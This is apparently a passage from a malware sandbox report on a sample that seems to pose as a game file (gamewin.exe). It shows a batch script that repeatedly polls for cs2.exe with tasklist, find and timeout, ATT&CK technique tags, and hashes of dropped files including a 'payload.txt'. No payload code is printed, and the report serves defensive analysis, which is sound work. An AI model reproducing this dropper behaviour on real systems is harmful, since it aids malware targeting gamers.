      PID:2792
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1592
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1156
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1456
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3164
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4416
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1920
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3068
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1004
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4744
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5868
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2040
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3328
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:832
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2560
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5516
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5016
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4392
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6012
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:4748
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2780
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3056
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4108
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2332
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3004
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1212
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5536
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3828
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1380
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3948
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5612
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3360
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5864
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4616
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:4756
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1584
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4908
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5000
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1708
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2556
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:4832
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5780
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5104
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3180
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2388
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

A1F5.bat

Path C:\Users\Admin\AppData\Local\Temp\A1F3.tmp\A1F4.tmp\A1F5.bat
Size 5KB
SHA256 0011909c2f6dfd2191d8aa25aa505ce7b95f1428e6520ec9a8673527867cc163
MD5 922b424e326a11c74b75a144b6a33ad6
SHA1 d5d70a1eda4be551e171b365eb331cf8bb77dd68
SHA512 401ba930d065152516ef1c7b45a0a687d717a469e8a42ec03c12ce6a6b86c128e6e443acf267f3653e60b8eb12e328ecce54495df8a9a6e1da02b620c98c9da0
SSDEEP 96:HJu45g9tD8amhWvmDPGPGPIQMQeQrUAsh0riAeyGOYOOOEOeOIODn:Hc45gzDx+Wvm7mmtZjInh07eyGOYOOO/
TLSH
T107C12F277426802245B047729FB12107F79B428B59006E8CBC8FC1BC1F764EA32EA3CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gamewin.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\gamewin.exe
Size 392KB
SHA256 615ea43f7eb72ded6bfea74a183a55ab80c9d35839edcb2cf93417260a7d753b
MD5 04cbe46afffd8720a345a17cf120bf8b
SHA1 48aad21eeb32b1fff44c989b34aecfc2ceb30817
SHA512 7fc88b4a72623e35e29f014eed3169f22119ded21c9f022f4a04bcdb758b1b2d032d8b27499b6a14175506838ceecff083d6908c7448302ddd149263d6575c4e
SSDEEP 6144:ftzsb5Uh28+V1WW69B9VjMdxPedN9ug0z9TB9SSuU7tFQPDc40mwceRIw4dedX6x:ftzE5elwLz9TrtuUO
TLSH
T11C8443E850A4D197EBD8CCF6609486BF923C24728D52021607F375ECDE2BF7C5D886A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

payload.txt

Path C:\Users\Admin\AppData\Local\Temp\payload.txt
Size 937B
SHA256 de3dbd6aad50323ec8459dc55d288cba05a43bd3b69f916214bd9692802dd61d
MD5 8307f0659edd62520b4e221e45a1ab85
SHA1 604ee9f27789eb9f41afc1880d70b4bc4ed7e295
SHA512 1ed195ba9814be0af730cd5399ead90eafb347724635e0d172af274f82d4479fbfc67778f5fdc97e7fbadc059f6a4cb6b6227e566648dc96721ff2c72dc6cf52
TLSH
T114118F77D4922CA7097613B0BE659203F450037F15880E57BD7C484C3FF2E15A042F99
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads